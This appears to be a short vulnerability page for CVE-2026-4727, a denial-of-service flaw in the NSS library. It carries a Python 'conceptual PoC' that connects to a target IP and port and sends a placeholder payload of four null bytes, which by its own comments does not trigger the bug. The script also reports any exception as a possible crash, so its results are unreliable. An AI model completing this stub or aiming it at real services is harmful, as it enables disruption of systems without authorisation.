CVE-2026-4727 NSS库拒绝服务漏洞

import socket import sys # Conceptual PoC for CVE-2026-4727 # This script demonstrates how to send a payload to a target service. # The specific payload bytes to trigger the NSS crash would need to be # derived from the specific bug analysis or patch diff. def send_exploit(target_ip, target_port): try: print(f"[*] Connecting to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Placeholder for the malicious payload. # In a real scenario, this would be the specific TLS handshake # or data packet that causes NSS to crash. payload = b"\x00\x00\x00\x00" print("[*] Sending payload...") s.send(payload) # Try to receive response to confirm connection state response = s.recv(1024) print("[+] Received response, service might be up.") except Exception as e: print(f"[!] Connection failed or service crashed: {e}") finally: s.close() if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python poc.py <ip> <port>") sys.exit(1) TARGET_IP = sys.argv[1] TARGET_PORT = int(sys.argv[2]) send_exploit(TARGET_IP, TARGET_PORT)